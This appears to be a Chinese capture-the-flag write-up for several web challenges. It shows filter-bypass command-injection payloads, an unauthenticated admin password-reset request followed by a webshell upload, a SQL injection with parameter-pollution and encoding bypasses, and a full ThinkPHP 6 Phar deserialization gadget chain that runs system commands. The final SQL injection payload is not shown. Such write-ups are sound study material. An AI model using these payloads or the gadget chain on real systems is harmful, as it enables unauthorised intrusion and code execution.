Web-sign in
robots.txt协议,fiag_ls_h3re.php
开发者工具查看源码即可
CLICK
main.js
文件中
EXEC
<?php
error_reporting(0);
if(isset($_REQUEST["cmd"])){
$shell = $_REQUEST["cmd"];
$shell = str_ireplace(" ","",$shell);
$shell = str_ireplace("\n","",$shell);
$shell = str_ireplace("\t","",$shell);
$shell = str_ireplace("?","",$shell);
$shell = str_ireplace("*","",$shell);
$shell = str_ireplace("<","",$shell);
$shell = str_ireplace("system","",$shell);
$shell = str_ireplace("passthru","",$shell);
$shell = str_ireplace("ob_start","",$shell);
$shell = str_ireplace("getenv","",$shell);
$shell = str_ireplace("putenv","",$shell);
$shell = str_ireplace("mail","",$shell);
$shell = str_ireplace("error_log","",$shell);
$shell = str_ireplace("`","",$shell);
$shell = str_ireplace("exec","",$shell);
$shell = str_ireplace("shell_exec","",$shell);
$shell = str_ireplace("echo","",$shell);
$shell = str_ireplace("cat","",$shell);
$shell = str_ireplace("ls","",$shell);
$shell = str_ireplace("nl","",$shell);
$shell = str_ireplace("tac","",$shell);
$shell = str_ireplace("bash","",$shell);
$shell = str_ireplace("sh","",$shell);
$shell = str_ireplace("tcp","",$shell);
$shell = str_ireplace("base64","",$shell);
$shell = str_ireplace("flag","",$shell);
$shell = str_ireplace("cp","",$shell);
exec($shell);
}else{
highlight_file(__FILE__);
}
过滤很多东西,exec函数执行无回显
利用>
将命令执行结果输出到文件
cmd=llss${IFS}/.>b
cmd=cacatt${IFS}/ctf_is_fun_flflagag2021>b
CMS System
www.zip
源码泄露
下载审计,存在未授权管理员密码修改
POST /admin/?a=admin&m=update HTTP/1.1
username=admin&password=123456¬password=123456&send=%E4%BF%AE%E6%94%B9%E5%AF%86%E7%A0%81
修改密码后登录后台
后台存在任意文件上传漏洞
CallAction.class.php
跟进logupload
LogoUpload.class.php
上传会将文件重命名并且后缀可控,修改文件名1.png.php
,可以绕过checkType
函数且重命名之后为logo.php
蚁剑连接即可
Language
源码里有两个文件夹,一个是python,一个是go。其中python文件作为中转,将请求进行处理后再转发给go项目进行处理。
先看看go项目目录结构
关键点在于backend.go
package controller
import (
db "ctf/database"
"encoding/json"
"fmt"
"github.com/buger/jsonparser"
"io/ioutil"
"net/http"
)
type Language struct {
Id int32 `json:"id"`
Name string `json:"name"`
Votes int64 `json:"votes"`
}
func Index(w http.ResponseWriter, _ *http.Request) {
ok(w, "Hello World!")
}
func List(w http.ResponseWriter, _ *http.Request) {
rows, err := db.Sqlite.Query("SELECT * FROM languages;")
if err != nil {
fail(w, "Something wrong")
fmt.Println(err.Error())
return
}
defer rows.Close()
res := make([]Language, 0)
for rows.Next() {
var pl Language
_ = rows.Scan(&pl.Id, &pl.Name, &pl.Votes)
res = append(res, pl)
}
err = json.NewEncoder(w).Encode(res)
}
func Search(w http.ResponseWriter, r *http.Request) {
reqBody, _ := ioutil.ReadAll(r.Body)
votes, err := jsonparser.GetInt(reqBody, "votes")
if err != nil {
fail(w, "Error reading votes")
return
}
name, err := jsonparser.GetString(reqBody, "name")
if err != nil {
fail(w, "Error reading name")
return
}
query := fmt.Sprintf("SELECT * FROM languages WHERE votes >= %d OR name LIKE '%s';", votes, name)
rows, err := db.Sqlite.Query(query)
if err != nil {
fail(w, "Something wrong")
fmt.Println(err.Error())
return
}
res := make([]Language, 0)
for rows.Next() {
var pl Language
_ = rows.Scan(&pl.Id, &pl.Name, &pl.Votes)
res = append(res, pl)
}
err = json.NewEncoder(w).Encode(res)
}
func Flag(w http.ResponseWriter, r *http.Request ) {
action:= r.URL.Query().Get("action")
if action == "" {
fail(w, "Error getting action")
return
}
token:= r.URL.Query().Get("token")
if token == "" {
fail(w, "Error getting token")
return
}
var secret string
row := db.Sqlite.QueryRow("SELECT secret FROM token;")
if err := row.Scan(&secret); err != nil {
fail(w, "Error querying secret token")
return
}
if action == "readFlag" && secret == token {
data, err := ioutil.ReadFile("flag")
if err != nil {
fail(w, "Error reading flag")
return
}
ok(w, fmt.Sprintf("Congrats this is your flag: %s", string(data)))
return
}
ok(w, "Wrong token")
}
也就是说满足action == "readFlag" && secret == token
就能得到flag,而token是从数据库中查的,而query := fmt.Sprintf("SELECT * FROM languages WHERE votes >= %d OR name LIKE '%s';", votes, name)
存在sql注入漏洞,由此可以满足条件。
再看app.py
from flask import Flask, request, render_template, jsonify
from urllib.parse import unquote
import requests
app = Flask(__name__)
server = '127.0.0.1:8000'
@app.route("/", methods=["GET"])
def index():
return render_template("index.html")
@app.route("/list", methods=["POST"])
def listAll():
r = requests.post(f"http://{server}/api/list")
return jsonify(r.json())
@app.route("/search", methods=["GET", "POST"])
def search():
if request.method == "GET":
return render_template("search.html")
else:
data = request.json
if data['name']:
if not isinstance(data['name'], str) or not data['name'].isalnum():
return jsonify({"error": "Bad word detected"})
if data['votes']:
if not isinstance(data['votes'], int):
return jsonify({"error": "Bad word detected"})
r = requests.post(f"http://{server}/api/search", data=request.data)
return jsonify(r.json())
@app.route("/healthcheck", methods=["GET"])
def healthCheck():
getPath = ["", "flag"]
postPath = ["api/list", "api/search"]
try:
for path in getPath:
requests.get(f"http://{server}/{path}")
for path in postPath:
requests.post(f"http://{server}/{path}")
except:
return "Down"
return "OK"
@app.route("/<path:path>", methods=["GET"])
def handle(path):
if 'flag' in unquote(path):
action = request.args.get('action')
token = request.args.get('token')
print(action)
if action == "readFlag":
return jsonify({"error": "Sorry, readFlag is not permitted"})
r = requests.get(f"http://{server}/{path}", params={
"action": action,
"token": token
})
else:
r = requests.get(f"http://{server}/{path}")
return jsonify(r.text)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
这里做出了一些限制:
- url中检测到
action == "readFlag"
返回报错 /search
对输入参数进行了过滤,name必须是isalnum()
(只能是字母和数字),votes必须是数字。
对于name和votes使用多参数绕过,python会解析第二个name,go会解析第一个name,因此我们可以进行sql注入。
而对于action的过滤,利用编码绕过/flag%3faction=readFlag
,python会将它解析为url,这样就可以绕过过滤而go会将其正常解析。
最终:
Avatar detection system
先上传测试一波,没搞出什么东西
但我们观察到这里?s=upload
,很像Thinkphp,访问一下不存在的模块试试
TP6,反序列化一把梭,这里需要生成Phar文件,将后缀改为png上传,再利用phar协议执行即可
<?php
namespace think\model\concern;
trait Attribute{
private $data=['snakin'=>'cat /flag'];
private $withAttr=['snakin'=>'system'];
}
trait ModelEvent{
protected $withEvent;
}
namespace think;
abstract class Model{
use model\concern\Attribute;
use model\concern\ModelEvent;
private $exists;
private $force;
private $lazySave;
protected $suffix;
function __construct($obj = '')
{
$this->exists = true;
$this->force = true;
$this->lazySave = true;
$this->withEvent = false;
$this->suffix = $obj;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{}
$a = new Pivot();
$b = new Pivot($a);
use Phar;
@unlink("snakin.phar");
$phar = new Phar("snakin.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($b);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
参考: